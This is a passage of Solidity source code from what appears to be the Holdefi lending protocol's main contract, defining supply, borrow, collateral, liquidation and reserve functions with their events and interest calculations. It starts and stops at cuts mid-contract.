/// @notice Contract for getting protocol settings
HoldefiSettingsInterface public holdefiSettings;
/// @notice Contract for getting asset prices
HoldefiPricesInterface public holdefiPrices;
/// @notice Contract for holding collaterals
HoldefiCollaterals public holdefiCollaterals;
/// @dev Markets: marketAddress => marketDetails
mapping (address => Market) public marketAssets;
/// @dev Collaterals: collateralAddress => collateralDetails
mapping (address => Collateral) public collateralAssets;
/// @dev Markets Debt after liquidation: collateralAddress => marketAddress => marketDebtBalance
mapping (address => mapping (address => uint)) public marketDebt;
/// @dev Users Supplies: userAddress => marketAddress => supplyDetails
mapping (address => mapping (address => MarketAccount)) private supplies;
/// @dev Users Borrows: userAddress => collateralAddress => marketAddress => borrowDetails
mapping (address => mapping (address => mapping (address => MarketAccount))) private borrows;
/// @dev Users Collaterals: userAddress => collateralAddress => collateralDetails
mapping (address => mapping (address => CollateralAccount)) private collaterals;
// ----------- Events -----------
/// @notice Event emitted when a market asset is supplied
event Supply(
address sender,
address indexed supplier,
address indexed market,
uint256 amount,
uint256 balance,
uint256 interest,
uint256 index,
uint16 referralCode
);
/// @notice Event emitted when a supply is withdrawn
event WithdrawSupply(
address sender,
address indexed supplier,
address indexed market,
uint256 amount,
uint256 balance,
uint256 interest,
uint256 index
);
/// @notice Event emitted when a collateral asset is deposited
event Collateralize(
address sender,
address indexed collateralizer,
address indexed collateral,
uint256 amount,
uint256 balance
);
/// @notice Event emitted when a collateral is withdrawn
event WithdrawCollateral(
address sender,
address indexed collateralizer,
address indexed collateral,
uint256 amount,
uint256 balance
);
/// @notice Event emitted when a market asset is borrowed
event Borrow(
address sender,
address indexed borrower,
address indexed market,
address indexed collateral,
uint256 amount,
uint256 balance,
uint256 interest,
uint256 index,
uint16 referralCode
);
/// @notice Event emitted when a borrow is repaid
event RepayBorrow(
address sender,
address indexed borrower,
address indexed market,
address indexed collateral,
uint256 amount,
uint256 balance,
uint256 interest,
uint256 index
);
/// @notice Event emitted when the supply index is updated for a market asset
event UpdateSupplyIndex(address indexed market, uint256 newSupplyIndex, uint256 supplyRate);
/// @notice Event emitted when the borrow index is updated for a market asset
event UpdateBorrowIndex(address indexed market, uint256 newBorrowIndex);
/// @notice Event emitted when a collateral is liquidated
event CollateralLiquidated(
address indexed borrower,
address indexed market,
address indexed collateral,
uint256 marketDebt,
uint256 liquidatedCollateral
);
/// @notice Event emitted when a liquidated collateral is purchased in exchange for the specified market
event BuyLiquidatedCollateral(
address indexed market,
address indexed collateral,
uint256 marketAmount,
uint256 collateralAmount
);
/// @notice Event emitted when HoldefiPrices contract is changed
event HoldefiPricesContractChanged(address newAddress, address oldAddress);
/// @notice Event emitted when a liquidation reserve is withdrawn by the owner
event LiquidationReserveWithdrawn(address indexed collateral, uint256 amount);
/// @notice Event emitted when a liquidation reserve is deposited
event LiquidationReserveDeposited(address indexed collateral, uint256 amount);
/// @notice Event emitted when a promotion reserve is withdrawn by the owner
event PromotionReserveWithdrawn(address indexed market, uint256 amount);
/// @notice Event emitted when a promotion reserve is deposited
event PromotionReserveDeposited(address indexed market, uint256 amount);
/// @notice Event emitted when a promotion reserve is updated
event PromotionReserveUpdated(address indexed market, uint256 promotionReserve);
/// @notice Event emitted when a promotion debt is updated
event PromotionDebtUpdated(address indexed market, uint256 promotionDebt);
/// @notice Initializes the Holdefi contract
/// @param holdefiSettingsAddress Holdefi settings contract address
/// @param holdefiPricesAddress Holdefi prices contract address
constructor(
HoldefiSettingsInterface holdefiSettingsAddress,
HoldefiPricesInterface holdefiPricesAddress
)
public
{
holdefiSettings = holdefiSettingsAddress;
holdefiPrices = holdefiPricesAddress;
holdefiCollaterals = new HoldefiCollaterals();
}
/// @dev Modifier to check if the asset is ETH or not
/// @param asset Address of the given asset
modifier isNotETHAddress(address asset) {
require (asset != ethAddress, "Asset should not be ETH address");
_;
}
/// @dev Modifier to check if the market is active or not
/// @param market Address of the given market
modifier marketIsActive(address market) {
require (holdefiSettings.marketAssets(market).isActive, "Market is not active");
_;
}
/// @dev Modifier to check if the collateral is active or not
/// @param collateral Address of the given collateral
modifier collateralIsActive(address collateral) {
require (holdefiSettings.collateralAssets(collateral).isActive, "Collateral is not active");
_;
}
/// @dev Modifier to check if the account address is equal to the msg.sender or not
/// @param account The given account address
modifier accountIsValid(address account) {
require (msg.sender != account, "Account is not valid");
_;
}
receive() external payable {
revert();
}
/// @notice Returns balance and interest of an account for a given market
/// @dev supplyInterest = accumulatedInterest + (balance * (marketSupplyIndex - userLastSupplyInterestIndex))
/// @param account Supplier address to get supply information
/// @param market Address of the given market
/// @return balance Supplied amount on the specified market
/// @return interest Profit earned
/// @return currentSupplyIndex Supply index for the given market at current time
function getAccountSupply(address account, address market)
public
view
returns (uint256 balance, uint256 interest, uint256 currentSupplyIndex)
{
balance = supplies[account][market].balance;
(currentSupplyIndex,,) = getCurrentSupplyIndex(market);
uint256 deltaInterestIndex = currentSupplyIndex.sub(supplies[account][market].lastInterestIndex);
uint256 deltaInterestScaled = deltaInterestIndex.mul(balance);
uint256 deltaInterest = deltaInterestScaled.div(secondsPerYear).div(rateDecimals);
interest = supplies[account][market].accumulatedInterest.add(deltaInterest);
}
/// @notice Returns balance and interest of an account for a given market on a given collateral
/// @dev borrowInterest = accumulatedInterest + (balance * (marketBorrowIndex - userLastBorrowInterestIndex))
/// @param account Borrower address to get Borrow information
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @return balance Borrowed amount on the specified market
/// @return interest The amount of interest the borrower should pay
/// @return currentBorrowIndex Borrow index for the given market at current time
function getAccountBorrow(address account, address market, address collateral)
public
view
returns (uint256 balance, uint256 interest, uint256 currentBorrowIndex)
{
balance = borrows[account][collateral][market].balance;
(currentBorrowIndex,,) = getCurrentBorrowIndex(market);
uint256 deltaInterestIndex =
currentBorrowIndex.sub(borrows[account][collateral][market].lastInterestIndex);
uint256 deltaInterestScaled = deltaInterestIndex.mul(balance);
uint256 deltaInterest = deltaInterestScaled.div(secondsPerYear).div(rateDecimals);
if (balance > 0) {
deltaInterest = deltaInterest.add(oneUnit);
}
interest = borrows[account][collateral][market].accumulatedInterest.add(deltaInterest);
}
/// @notice Returns collateral balance, time since last activity, borrow power, total borrow value, and liquidation status for a given collateral
/// @dev borrowPower = (collateralValue / collateralValueToLoanRate) - totalBorrowValue
/// @dev liquidationThreshold = collateralValueToLoanRate - 5%
/// @dev User will be in liquidation state if (collateralValue / totalBorrowValue) < liquidationThreshold
/// @param account Account address to get collateral information
/// @param collateral Address of the given collateral
/// @return balance Amount of the specified collateral
/// @return timeSinceLastActivity Time since last activity performed by the account
/// @return borrowPowerValue The borrowing power for the account of the given collateral
/// @return totalBorrowValue Accumulative borrowed values on the given collateral
/// @return underCollateral A boolean value indicates whether the user is in the liquidation state or not
function getAccountCollateral(address account, address collateral)
public
view
returns (
uint256 balance,
uint256 timeSinceLastActivity,
uint256 borrowPowerValue,
uint256 totalBorrowValue,
bool underCollateral
)
{
uint256 valueToLoanRate = holdefiSettings.collateralAssets(collateral).valueToLoanRate;
if (valueToLoanRate == 0) {
return (0, 0, 0, 0, false);
}
balance = collaterals[account][collateral].balance;
uint256 collateralValue = holdefiPrices.getAssetValueFromAmount(collateral, balance);
uint256 liquidationThresholdRate = valueToLoanRate.sub(fivePercentLiquidationGap);
uint256 totalBorrowPowerValue = collateralValue.mul(rateDecimals).div(valueToLoanRate);
uint256 liquidationThresholdValue = collateralValue.mul(rateDecimals).div(liquidationThresholdRate);
totalBorrowValue = getAccountTotalBorrowValue(account, collateral);
if (totalBorrowValue > 0) {
timeSinceLastActivity = block.timestamp.sub(collaterals[account][collateral].lastUpdateTime);
}
borrowPowerValue = 0;
if (totalBorrowValue < totalBorrowPowerValue) {
borrowPowerValue = totalBorrowPowerValue.sub(totalBorrowValue);
}
underCollateral = false;
if (totalBorrowValue > liquidationThresholdValue) {
underCollateral = true;
}
}
/// @notice Returns maximum amount spender can withdraw from account supplies on a given market
/// @param account Supplier address
/// @param spender Spender address
/// @param market Address of the given market
/// @return res Maximum amount spender can withdraw from account supplies on a given market
function getAccountWithdrawSupplyAllowance (address account, address spender, address market)
external
view
returns (uint256 res)
{
res = supplies[account][market].allowance[spender];
}
/// @notice Returns maximum amount spender can withdraw from account balance on a given collateral
/// @param account Account address
/// @param spender Spender address
/// @param collateral Address of the given collateral
/// @return res Maximum amount spender can withdraw from account balance on a given collateral
function getAccountWithdrawCollateralAllowance (
address account,
address spender,
address collateral
)
external
view
returns (uint256 res)
{
res = collaterals[account][collateral].allowance[spender];
}
/// @notice Returns maximum amount spender can withdraw from account borrows on a given market based on a given collteral
/// @param account Borrower address
/// @param spender Spender address
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @return res Maximum amount spender can withdraw from account borrows on a given market based on a given collteral
function getAccountBorrowAllowance (
address account,
address spender,
address market,
address collateral
)
external
view
returns (uint256 res)
{
res = borrows[account][collateral][market].allowance[spender];
}
/// @notice Returns total borrow value of an account based on a given collateral
/// @param account Account address
/// @param collateral Address of the given collateral
/// @return totalBorrowValue Accumulative borrowed values on the given collateral
function getAccountTotalBorrowValue (address account, address collateral)
public
view
returns (uint256 totalBorrowValue)
{
MarketData memory borrowData;
address market;
uint256 totalDebt;
uint256 assetValue;
totalBorrowValue = 0;
address[] memory marketsList = holdefiSettings.getMarketsList();
for (uint256 i = 0 ; i < marketsList.length ; i++) {
market = marketsList[i];
(borrowData.balance, borrowData.interest,) = getAccountBorrow(account, market, collateral);
totalDebt = borrowData.balance.add(borrowData.interest);
assetValue = holdefiPrices.getAssetValueFromAmount(market, totalDebt);
totalBorrowValue = totalBorrowValue.add(assetValue);
}
}
/// @notice The collateral reserve amount for buying liquidated collateral
/// @param collateral Address of the given collateral
/// @return reserve Liquidation reserves for the given collateral
function getLiquidationReserve (address collateral) public view returns(uint256 reserve) {
address market;
uint256 assetValue;
uint256 totalDebtValue = 0;
address[] memory marketsList = holdefiSettings.getMarketsList();
for (uint256 i = 0 ; i < marketsList.length ; i++) {
market = marketsList[i];
assetValue = holdefiPrices.getAssetValueFromAmount(market, marketDebt[collateral][market]);
totalDebtValue = totalDebtValue.add(assetValue);
}
uint256 bonusRate = holdefiSettings.collateralAssets(collateral).bonusRate;
uint256 totalDebtCollateralValue = totalDebtValue.mul(bonusRate).div(rateDecimals);
uint256 liquidatedCollateralNeeded = holdefiPrices.getAssetAmountFromValue(
collateral,
totalDebtCollateralValue
);
reserve = 0;
uint256 totalLiquidatedCollateral = collateralAssets[collateral].totalLiquidatedCollateral;
if (totalLiquidatedCollateral > liquidatedCollateralNeeded) {
reserve = totalLiquidatedCollateral.sub(liquidatedCollateralNeeded);
}
}
/// @notice Returns the amount of discounted collateral can be bought in exchange for the amount of a given market
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param marketAmount The amount of market should be paid
/// @return collateralAmountWithDiscount Amount of discounted collateral can be bought
function getDiscountedCollateralAmount (address market, address collateral, uint256 marketAmount)
public
view
returns (uint256 collateralAmountWithDiscount)
{
uint256 marketValue = holdefiPrices.getAssetValueFromAmount(market, marketAmount);
uint256 bonusRate = holdefiSettings.collateralAssets(collateral).bonusRate;
uint256 collateralValue = marketValue.mul(bonusRate).div(rateDecimals);
collateralAmountWithDiscount = holdefiPrices.getAssetAmountFromValue(collateral, collateralValue);
}
/// @notice Returns supply index and supply rate for a given market at current time
/// @dev newSupplyIndex = oldSupplyIndex + (deltaTime * supplyRate)
/// @param market Address of the given market
/// @return supplyIndex Supply index of the given market
/// @return supplyRate Supply rate of the given market
/// @return currentTime Current block timestamp
function getCurrentSupplyIndex (address market)
public
view
returns (
uint256 supplyIndex,
uint256 supplyRate,
uint256 currentTime
)
{
(, uint256 supplyRateBase, uint256 promotionRate) = holdefiSettings.getInterests(market);
currentTime = block.timestamp;
uint256 deltaTimeSupply = currentTime.sub(marketAssets[market].supplyIndexUpdateTime);
supplyRate = supplyRateBase.add(promotionRate);
uint256 deltaTimeInterest = deltaTimeSupply.mul(supplyRate);
supplyIndex = marketAssets[market].supplyIndex.add(deltaTimeInterest);
}
/// @notice Returns borrow index and borrow rate for the given market at current time
/// @dev newBorrowIndex = oldBorrowIndex + (deltaTime * borrowRate)
/// @param market Address of the given market
/// @return borrowIndex Borrow index of the given market
/// @return borrowRate Borrow rate of the given market
/// @return currentTime Current block timestamp
function getCurrentBorrowIndex (address market)
public
view
returns (
uint256 borrowIndex,
uint256 borrowRate,
uint256 currentTime
)
{
borrowRate = holdefiSettings.marketAssets(market).borrowRate;
currentTime = block.timestamp;
uint256 deltaTimeBorrow = currentTime.sub(marketAssets[market].borrowIndexUpdateTime);
uint256 deltaTimeInterest = deltaTimeBorrow.mul(borrowRate);
borrowIndex = marketAssets[market].borrowIndex.add(deltaTimeInterest);
}
/// @notice Returns promotion reserve for a given market at current time
/// @dev promotionReserveScaled is scaled by (secondsPerYear * rateDecimals)
/// @param market Address of the given market
/// @return promotionReserveScaled Promotion reserve of the given market
/// @return currentTime Current block timestamp
function getPromotionReserve (address market)
public
view
returns (uint256 promotionReserveScaled, uint256 currentTime)
{
(uint256 borrowRate, uint256 supplyRateBase,) = holdefiSettings.getInterests(market);
currentTime = block.timestamp;
uint256 allSupplyInterest = marketAssets[market].totalSupply.mul(supplyRateBase);
uint256 allBorrowInterest = marketAssets[market].totalBorrow.mul(borrowRate);
uint256 deltaTime = currentTime.sub(marketAssets[market].promotionReserveLastUpdateTime);
uint256 currentInterest = allBorrowInterest.sub(allSupplyInterest);
uint256 deltaTimeInterest = currentInterest.mul(deltaTime);
promotionReserveScaled = marketAssets[market].promotionReserveScaled.add(deltaTimeInterest);
}
/// @notice Returns promotion debt for a given market at current time
/// @dev promotionDebtScaled is scaled by secondsPerYear * rateDecimals
/// @param market Address of the given market
/// @return promotionDebtScaled Promotion debt of the given market
/// @return currentTime Current block timestamp
function getPromotionDebt (address market)
public
view
returns (uint256 promotionDebtScaled, uint256 currentTime)
{
uint256 promotionRate = holdefiSettings.marketAssets(market).promotionRate;
currentTime = block.timestamp;
promotionDebtScaled = marketAssets[market].promotionDebtScaled;
if (promotionRate != 0) {
uint256 deltaTime = block.timestamp.sub(marketAssets[market].promotionDebtLastUpdateTime);
uint256 currentInterest = marketAssets[market].totalSupply.mul(promotionRate);
uint256 deltaTimeInterest = currentInterest.mul(deltaTime);
promotionDebtScaled = promotionDebtScaled.add(deltaTimeInterest);
}
}
/// @notice Update a market supply index, promotion reserve, and promotion debt
/// @param market Address of the given market
function beforeChangeSupplyRate (address market) public {
updateSupplyIndex(market);
updatePromotionReserve(market);
updatePromotionDebt(market);
}
/// @notice Update a market borrow index, supply index, promotion reserve, and promotion debt
/// @param market Address of the given market
function beforeChangeBorrowRate (address market) external {
updateBorrowIndex(market);
beforeChangeSupplyRate(market);
}
/// @notice Deposit ERC20 asset for supplying
/// @param market Address of the given market
/// @param amount The amount of asset supplier supplies
/// @param referralCode A unique code used as an identifier of referrer
function supply(address market, uint256 amount, uint16 referralCode)
external
isNotETHAddress(market)
{
supplyInternal(msg.sender, market, amount, referralCode);
}
/// @notice Deposit ETH for supplying
/// @notice msg.value The amount of asset supplier supplies
/// @param referralCode A unique code used as an identifier of referrer
function supply(uint16 referralCode) external payable {
supplyInternal(msg.sender, ethAddress, msg.value, referralCode);
}
/// @notice Sender deposits ERC20 asset belonging to the supplier
/// @param account Address of the supplier
/// @param market Address of the given market
/// @param amount The amount of asset supplier supplies
/// @param referralCode A unique code used as an identifier of referrer
function supplyBehalf(address account, address market, uint256 amount, uint16 referralCode)
external
isNotETHAddress(market)
{
supplyInternal(account, market, amount, referralCode);
}
/// @notice Sender deposits ETH belonging to the supplier
/// @notice msg.value The amount of ETH sender deposits belonging to the supplier
/// @param account Address of the supplier
/// @param referralCode A unique code used as an identifier of referrer
function supplyBehalf(address account, uint16 referralCode)
external
payable
{
supplyInternal(account, ethAddress, msg.value, referralCode);
}
/// @notice Sender approves of the withdarawl for the account in the market asset
/// @param account Address of the account allowed to withdrawn
/// @param market Address of the given market
/// @param amount The amount is allowed to withdrawn
function approveWithdrawSupply(address account, address market, uint256 amount)
external
accountIsValid(account)
marketIsActive(market)
{
supplies[msg.sender][market].allowance[account] = amount;
}
/// @notice Withdraw supply of a given market
/// @param market Address of the given market
/// @param amount The amount will be withdrawn from the market
function withdrawSupply(address market, uint256 amount)
external
{
withdrawSupplyInternal(msg.sender, market, amount);
}
/// @notice Sender withdraws supply belonging to the supplier
/// @param account Address of the supplier
/// @param market Address of the given market
/// @param amount The amount will be withdrawn from the market
function withdrawSupplyBehalf(address account, address market, uint256 amount) external {
uint256 allowance = supplies[account][market].allowance[msg.sender];
require(
amount <= allowance,
"Withdraw not allowed"
);
supplies[account][market].allowance[msg.sender] = allowance.sub(amount);
withdrawSupplyInternal(account, market, amount);
}
/// @notice Deposit ERC20 asset as a collateral
/// @param collateral Address of the given collateral
/// @param amount The amount will be collateralized
function collateralize (address collateral, uint256 amount)
external
isNotETHAddress(collateral)
{
collateralizeInternal(msg.sender, collateral, amount);
}
/// @notice Deposit ETH as a collateral
/// @notice msg.value The amount of ETH will be collateralized
function collateralize () external payable {
collateralizeInternal(msg.sender, ethAddress, msg.value);
}
/// @notice Sender deposits ERC20 asset as a collateral belonging to the user
/// @param account Address of the user
/// @param collateral Address of the given collateral
/// @param amount The amount will be collateralized
function collateralizeBehalf (address account, address collateral, uint256 amount)
external
isNotETHAddress(collateral)
{
collateralizeInternal(account, collateral, amount);
}
/// @notice Sender deposits ETH as a collateral belonging to the user
/// @notice msg.value The amount of ETH Sender deposits as a collateral belonging to the user
/// @param account Address of the user
function collateralizeBehalf (address account) external payable {
collateralizeInternal(account, ethAddress, msg.value);
}
/// @notice Sender approves the account to withdraw the collateral
/// @param account Address is allowed to withdraw the collateral
/// @param collateral Address of the given collateral
/// @param amount The amount is allowed to withdrawn
function approveWithdrawCollateral (address account, address collateral, uint256 amount)
external
accountIsValid(account)
collateralIsActive(collateral)
{
collaterals[msg.sender][collateral].allowance[account] = amount;
}
/// @notice Withdraw a collateral
/// @param collateral Address of the given collateral
/// @param amount The amount will be withdrawn from the collateral
function withdrawCollateral (address collateral, uint256 amount)
external
{
withdrawCollateralInternal(msg.sender, collateral, amount);
}
/// @notice Sender withdraws a collateral belonging to the user
/// @param account Address of the user
/// @param collateral Address of the given collateral
/// @param amount The amount will be withdrawn from the collateral
function withdrawCollateralBehalf (address account, address collateral, uint256 amount)
external
{
uint256 allowance = collaterals[account][collateral].allowance[msg.sender];
require(
amount <= allowance,
"Withdraw not allowed"
);
collaterals[account][collateral].allowance[msg.sender] = allowance.sub(amount);
withdrawCollateralInternal(account, collateral, amount);
}
/// @notice Sender approves the account to borrow a given market based on given collateral
/// @param account Address that is allowed to borrow the given market
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param amount The amount is allowed to withdrawn
function approveBorrow (address account, address market, address collateral, uint256 amount)
external
accountIsValid(account)
marketIsActive(market)
{
borrows[msg.sender][collateral][market].allowance[account] = amount;
}
/// @notice Borrow an asset
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param amount The amount of the given market will be borrowed
/// @param referralCode A unique code used as an identifier of referrer
function borrow (address market, address collateral, uint256 amount, uint16 referralCode)
external
{
borrowInternal(msg.sender, market, collateral, amount, referralCode);
}
/// @notice Sender borrows an asset belonging to the borrower
/// @param account Address of the borrower
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param amount The amount will be borrowed
/// @param referralCode A unique code used as an identifier of referrer
function borrowBehalf (address account, address market, address collateral, uint256 amount, uint16 referralCode)
external
{
uint256 allowance = borrows[account][collateral][market].allowance[msg.sender];
require(
amount <= allowance,
"Withdraw not allowed"
);
borrows[account][collateral][market].allowance[msg.sender] = allowance.sub(amount);
borrowInternal(account, market, collateral, amount, referralCode);
}
/// @notice Repay an ERC20 asset based on a given collateral
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param amount The amount of the market will be Repaid
function repayBorrow (address market, address collateral, uint256 amount)
external
isNotETHAddress(market)
{
repayBorrowInternal(msg.sender, market, collateral, amount);
}
/// @notice Repay an ETH based on a given collateral
/// @notice msg.value The amount of ETH will be repaid
/// @param collateral Address of the given collateral
function repayBorrow (address collateral) external payable {
repayBorrowInternal(msg.sender, ethAddress, collateral, msg.value);
}
/// @notice Sender repays an ERC20 asset based on a given collateral belonging to the borrower
/// @param account Address of the borrower
/// @param market Address of the given market
/// @param collateral Address of the given collateral
/// @param amount The amount of the market will be repaid
function repayBorrowBehalf (address account, address market, address collateral, uint256 amount)
external
isNotETHAddress(market)
{
repayBorrowInternal(account, market, collateral, amount);
}
/// @notice Sender repays an ETH based on a given collateral belonging to the borrower
/// @notice msg.value The amount of ETH sender repays belonging to the borrower
/// @param account Address of the borrower
/// @param collateral Address of the given collateral
function repayBorrowBehalf (address account, address collateral)
external
payable
{
repayBorrowInternal(account, ethAddress, collateral, msg.value);
}
/// @notice Liquidate borrower's collateral
/// @param borrower Address of the borrower who should be liquidated
/// @param market Address of the given market
/// @param collateral Address of the given collateral
function liquidateBorrowerCollateral (address borrower, address market, address collateral)
external
whenNotPaused("liquidateBorrowerCollateral")
{
MarketData memory borrowData;
(borrowData.balance, borrowData.interest,) = getAccountBorrow(borrower, market, collateral);
require(borrowData.balance > 0, "User should have debt");
(uint256 collateralBalance, uint256 timeSinceLastActivity,,, bool underCollateral) =
getAccountCollateral(borrower, collateral);
require (underCollateral || (timeSinceLastActivity > secondsPerYear),
"User should be under collateral or time is over"
);
uint256 totalBorrowedBalance = borrowData.balance.add(borrowData.interest);
uint256 totalBorrowedBalanceValue = holdefiPrices.getAssetValueFromAmount(market, totalBorrowedBalance);
uint256 liquidatedCollateralValue = totalBorrowedBalanceValue
.mul(holdefiSettings.collateralAssets(collateral).penaltyRate)
.div(rateDecimals);
uint256 liquidatedCollateral =
holdefiPrices.getAssetAmountFromValue(collateral, liquidatedCollateralValue);
if (liquidatedCollateral > collateralBalance) {
liquidatedCollateral = collateralBalance;
}
collaterals[borrower][collateral].balance = collateralBalance.sub(liquidatedCollateral);
collateralAssets[collateral].totalCollateral =
collateralAssets[collateral].totalCollateral.sub(liquidatedCollateral);
collateralAssets[collateral].totalLiquidatedCollateral =
collateralAssets[collateral].totalLiquidatedCollateral.add(liquidatedCollateral);
delete borrows[borrower][collateral][market];
beforeChangeSupplyRate(market);
marketAssets[market].totalBorrow = marketAssets[market].totalBorrow.sub(borrowData.balance);
marketDebt[collateral][market] = marketDebt[collateral][market].add(totalBorrowedBalance);
emit CollateralLiquidated(borrower, market, collateral, totalBorrowedBalance, liquidatedCollateral);
}
/// @notice Buy collateral in exchange for ERC20 asset
/// @param market Address of the market asset should be paid to buy collateral
/// @param collateral Address of the liquidated collateral
/// @param marketAmount The amount of the given market will be paid
function buyLiquidatedCollateral (address market, address collateral, uint256 marketAmount)
external
isNotETHAddress(market)
{
buyLiquidatedCollateralInternal(market, collateral, marketAmount);
}
/// @notice Buy collateral in exchange for ETH
/// @notice msg.value The amount of the given market that will be paid
/// @param collateral Address of the liquidated collateral
function buyLiquidatedCollateral (address collateral) external payable {
buyLiquidatedCollateralInternal(ethAddress, collateral, msg.value);
}
/// @notice Deposit ERC20 asset as liquidation reserve
/// @param collateral Address of the given collateral
/// @param amount The amount that will be deposited
function depositLiquidationReserve(address collateral, uint256 amount)
external
isNotETHAddress(collateral)
{
depositLiquidationReserveInternal(collateral, amount);
}
/// @notice Deposit ETH asset as liquidation reserve
/// @notice msg.value The amount of ETH that will be deposited
function depositLiquidationReserve() external payable {
depositLiquidationReserveInternal(ethAddress, msg.value);
}
/// @notice Withdraw liquidation reserve only by the owner
/// @param collateral Address of the given collateral
/// @param amount The amount that will be withdrawn
function withdrawLiquidationReserve (address collateral, uint256 amount) external onlyOwner {
uint256 maxWithdraw = getLiquidationReserve(collateral);
uint256 transferAmount = amount;
if (transferAmount > maxWithdraw){
transferAmount = maxWithdraw;
}
collateralAssets[collateral].totalLiquidatedCollateral =
collateralAssets[collateral].totalLiquidatedCollateral.sub(transferAmount);
holdefiCollaterals.withdraw(collateral, msg.sender, transferAmount);
emit LiquidationReserveWithdrawn(collateral, amount);
}
/// @notice Deposit ERC20 asset as promotion reserve
/// @param market Address of the given market
/// @param amount The amount that will be deposited
function depositPromotionReserve (address market, uint256 amount)
external
isNotETHAddress(market)
{
depositPromotionReserveInternal(market, amount);
}
/// @notice Deposit ETH as promotion reserve
/// @notice msg.value The amount of ETH that will be deposited
function depositPromotionReserve () external payable {
depositPromotionReserveInternal(ethAddress, msg.value);
}
/// @notice Withdraw promotion reserve only by the owner
/// @param market Address of the given market
/// @param amount The amount that will be withdrawn
function withdrawPromotionReserve (address market, uint256 amount) external onlyOwner {
(uint256 reserveScaled,) = getPromotionReserve(market);
(uint256 debtScaled,) = getPromotionDebt(market);
uint256 amountScaled = amount.mul(secondsPerYear).mul(rateDecimals);
uint256 increasedDebtScaled = amountScaled.add(debtScaled);
require (reserveScaled > increasedDebtScaled, "Amount should be less than max");
marketAssets[market].promotionReserveScaled = reserveScaled.sub(amountScaled);
transferFromHoldefi(msg.sender, market, amount);
emit PromotionReserveWithdrawn(market, amount);
}
/// @notice Set Holdefi prices contract only by the owner
/// @param newHoldefiPrices Address of the new Holdefi prices contract
function setHoldefiPricesContract (HoldefiPricesInterface newHoldefiPrices) external onlyOwner {
emit HoldefiPricesContractChanged(address(newHoldefiPrices), address(holdefiPrices));
holdefiPrices = newHoldefiPrices;
}
/// @notice Promotion reserve and debt settlement
/// @param market Address of the given market
function reserveSettlement (address market) external {
require(msg.sender == address(holdefiSettings), "Sender should be Holdefi Settings contract");
uint256 promotionReserve = marketAssets[market].promotionReserveScaled;
uint256 promotionDebt = marketAssets[market].promotionDebtScaled;
require(promotionReserve > promotionDebt, "Not enough promotion reserve");
promotionReserve = promotionReserve.sub(promotionDebt);
marketAssets[market].promotionReserveScaled = promotionReserve;
marketAssets[market].promotionDebtScaled = 0;
marketAssets[market].promotionReserveLastUpdateTime = block.timestamp;
marketAssets[market].promotionDebtLastUpdateTime = block.timestamp;
emit PromotionReserveUpdated(market, promotionReserve);
emit PromotionDebtUpdated(market, 0);
}
/// @notice Update supply index of a market
/// @param market Address of the given market
function updateSupplyIndex (address market) internal {
(uint256 currentSupplyIndex, uint256 supplyRate, uint256 currentTime) =
getCurrentSupplyIndex(market);
marketAssets[market].supplyIndex = currentSupplyIndex;
marketAssets[market].supplyIndexUpdateTime = currentTime;
emit UpdateSupplyIndex(market, currentSupplyIndex, supplyRate);
}
/// @notice Update borrow index of a market
/// @param market Address of the given market
function updateBorrowIndex (address market) internal {
(uint256 currentBorrowIndex,, uint256 currentTime) = getCurrentBorrowIndex(market);
marketAssets[market].borrowIndex = currentBorrowIndex;
marketAssets[market].borrowIndexUpdateTime = currentTime;
emit UpdateBorrowIndex(market, currentBorrowIndex);
}
/// @notice Update promotion reserve of a market
/// @param market Address of the given market
function updatePromotionReserve(address market) internal {
(uint256 reserveScaled,) = getPromotionReserve(market);
marketAssets[market].promotionReserveScaled = reserveScaled;
marketAssets[market].promotionReserveLastUpdateTime = block.timestamp;
emit PromotionReserveUpdated(market, reserveScaled);
}
/// @notice Update promotion debt of a market
/// @dev Promotion rate will be set to 0 if (promotionDebt >= promotionReserve)
/// @param market Address of the given market
function updatePromotionDebt(address market) internal {
(uint256 debtScaled,) = getPromotionDebt(market);
if (marketAssets[market].promotionDebtScaled != debtScaled){
marketAssets[market].promotionDebtScaled = debtScaled;
marketAssets[market].promotionDebtLastUpdateTime = block.timestamp;
emit PromotionDebtUpdated(market, debtScaled);
}
if (marketAssets[market].promotionReserveScaled <= debtScaled) {
holdefiSettings.resetPromotionRate(market);
}
}
/// @notice transfer ETH or ERC20 asset from this contract
function transferFromHoldefi(address receiver, address asset, uint256 amount) internal {
bool success = false;
if (asset == ethAddress){
(success, ) = receiver.call{value:amount}("");
}
else {
IERC20 token = IERC20(asset);
success = token.transfer(receiver, amount);
}
require (success, "Cannot Transfer");
}
/// @notice transfer ERC20 asset to this contract
function transferToHoldefi(address receiver, address asset, uint256 amount) internal {
IERC20 token = IERC20(asset);
bool success = token.transferFrom(msg.sender, receiver, amount);
require (success, "Cannot Transfer");
}
/// @notice Perform supply operation
function supplyInternal(address account, address market, uint256 amount, uint16 referralCode)
internal
whenNotPaused("supply")
marketIsActive(market)
{
if (market != ethAddress) {
transferToHoldefi(address(this), market, amount);
}
MarketData memory supplyData;
(supplyData.balance, supplyData.interest, supplyData.currentIndex) = getAccountSupply(account, market);
supplyData.balance = supplyData.balance.add(amount);
supplies[account][market].balance = supplyData.balance;
supplies[account][market].accumulatedInterest = supplyData.interest;
supplies[account][market].lastInterestIndex = supplyData.currentIndex;
beforeChangeSupplyRate(market);
marketAssets[market].totalSupply = marketAssets[market].totalSupply.add(amount);
emit Supply(
msg.sender,
account,
market,
amount,
supplyData.balance,
supplyData.interest,
supplyData.currentIndex,
referralCode
);
}
/// @notice Perform withdraw supply operation
function withdrawSupplyInternal (address account, address market, uint256 amount)
internal
whenNotPaused("withdrawSupply")
{
MarketData memory supplyData;
(supplyData.balance, supplyData.interest, supplyData.currentIndex) = getAccountSupply(account, market);
uint256 totalSuppliedBalance = supplyData.balance.add(supplyData.interest);
require (totalSuppliedBalance != 0, "Total balance should not be zero");
uint256 transferAmount = amount;
if (transferAmount > totalSuppliedBalance){
transferAmount = totalSuppliedBalance;
}
uint256 remaining = 0;
if (transferAmount <= supplyData.interest) {
supplyData.interest = supplyData.interest.sub(transferAmount);
}
else {
remaining = transferAmount.sub(supplyData.interest);
supplyData.interest = 0;
supplyData.balance = supplyData.balance.sub(remaining);
}
supplies[account][market].balance = supplyData.balance;
